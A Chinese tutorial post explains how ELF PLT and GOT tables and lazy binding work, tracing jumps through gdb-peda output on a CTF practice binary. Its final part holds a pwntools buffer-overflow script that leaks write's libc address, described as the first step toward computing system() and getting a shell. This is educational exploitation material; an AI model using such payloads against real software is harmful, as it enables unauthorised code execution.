非常详细地解释plt&got

非常详细解释plt&got

  • 比较好的参考文章
    GOT(Global Offset Table):全局偏移表用于记录在 ELF 文件中所用到的共享库中符号的绝对地址。在程序刚开始运行时,GOT 表项是空的,当符号第一次被调用时会动态解析符号的绝对地址然后转去执行,并将被解析符号的绝对地址记录在 GOT 中,第二次调用同一符号时,由于 GOT 中已经记录了其绝对地址,直接转去执行即可(不用重新解析)。

PLT(Procedure Linkage Table):过程链接表的作用是将位置无关的符号转移到绝对地址。当一个外部符号被调用时,PLT 去引用 GOT 中的其符号对应的绝对地址,然后转入并执行。

GOT是Linux ELF文件中用于定位全局变量和函数的一个表。PLT是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。
所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。(打个比方,你一次性去超市买了一大堆物品,但是其中有些物品可能你永远也不会使用,这样就浪费了钱财;而延迟绑定就相当于需要的时候才去超市买东西,这样就节省了开支。)
下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:

1
2
3
bar@plt:
jmp bar@got
patch bar@got

这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got,这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。当我们下次再调用bar函数的时候,执行路径就是先后跳转到bar@plt、bar@got、bar真正的地址。

关于这个非常棒的一个解释博文:http://rickgray.me/use-gdb-to-study-got-and-plt

例子解析:

做这个例子的时候有一个问题:从网上下载的ELF文件可以完成复现,但是自己用源码编译的则会出错,地址会有点奇怪,可能是自己配置的问题还处理的不够好。。。待解决;下面用下载下来的ELF文件(之前的level1)来解释一下这里的pit&got
已解决:编译程序时没有关闭pie,只要添加参数-no-pie即可。

这里以write函数作为例子:

首先单步执行到call 0x8048340 <write@plt>
查看0x8048340地址的情况:

1
2
3
4
db-peda$ x /3i 0x8048340
0x8048340 <write@plt>: jmp DWORD PTR ds:0x804a00c
0x8048346 <write@plt+6>: push 0x18
0x804834b <write@plt+11>: jmp 0x8048300

可以看出其跳转到地址0x804a00c
用xinfo查看其跳转情况:

1
2
3
4
5
6
7
8
gdb-peda$ xinfo 0x804a00c
0x804a00c --> 0x8048346 (<write@plt+6>: push 0x18)
Virtual memory mapping:
Start : 0x0804a000
End : 0x0804b000
Offset: 0xc
Perm : rwxp
Name : /root/Desktop/ROP/linux_x86/level1

容易知道其在plt表中有一个跳转到0x8048346,跟进查看地址情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ pdisass 0x8048346
Dump of assembler code from 0x8048346 to 0x8048366:: Dump of assembler code from 0x8048346 to 0x8048366:
0x08048346 <write@plt+6>: push 0x18
0x0804834b <write@plt+11>: jmp 0x8048300
0x08048350 <_start+0>: xor ebp,ebp
0x08048352 <_start+2>: pop esi
0x08048353 <_start+3>: mov ecx,esp
0x08048355 <_start+5>: and esp,0xfffffff0
0x08048358 <_start+8>: push eax
0x08048359 <_start+9>: push esp
0x0804835a <_start+10>: push edx
0x0804835b <_start+11>: push 0x80484d0
0x08048360 <_start+16>: push 0x8048460
0x08048365 <_start+21>: push ecx
End of assembler dump.

又一次跳转0x8048300

1
2
3
4
5
6
7
8
9
10
gdb-peda$ pdisass 0x8048300
Dump of assembler code from 0x8048300 to 0x8048320:: Dump of assembler code from 0x8048300 to 0x8048320:
0x08048300: push DWORD PTR ds:0x8049ff8
0x08048306: jmp DWORD PTR ds:0x8049ffc
0x0804830c: add BYTE PTR [eax],al
0x0804830e: add BYTE PTR [eax],al
0x08048310 <read@plt+0>: jmp DWORD PTR ds:0x804a000
0x08048316 <read@plt+6>: push 0x0
0x0804831b <read@plt+11>: jmp 0x8048300
End of assembler dump.

再一次跳转0x8049ffc

1
2
3
4
5
6
7
8
gdb-peda$ xinfo 0x8049ffc
0x8049ffc --> 0xb7ff0710 (<_dl_runtime_resolve>: push eax)
Virtual memory mapping:
Start : 0x08049000
End : 0x0804a000
Offset: 0xffc
Perm : r-xp
Name : /root/Desktop/ROP/linux_x86/level1

这上面的_dl_runtime_resolve涉及到后面level4要讲的一个高级ROP的用法,这里先不对这里作详细讲解

经过上面的流程分析(多次跳转),我们可以进行进行单步调试来进行分析,当动态解析(_dl_runtime_resolve)完成后,流程会直接跳转到 printf() 函数主体

这一堆的跳转可以结合上面那一副图来进行理解。

单步跟进发现进行一系列的符号解析操作之后ret到write函数的真正地址0xb7ed3cc0进行操作。

怎样验证这个就是write的真实地址呢?
写了个程序来打印write的真实地址:
注:下面这个脚本可以用来泄露libc地址的第一步,再通过计算可以得到system的真实地址,最后成功getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
elf = ELF('level1')

p = process('./level1')

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

运行结果:

总结来说就是,GOT 保存了程序中所要调用的函数的地址,运行一开时其表项为空,会在运行时实时的更新表项。一个符号调用在第一次时会解析出绝对地址更新到 GOT 中,第二次调用时就直接找到 GOT 表项所存储的函数地址直接调用了。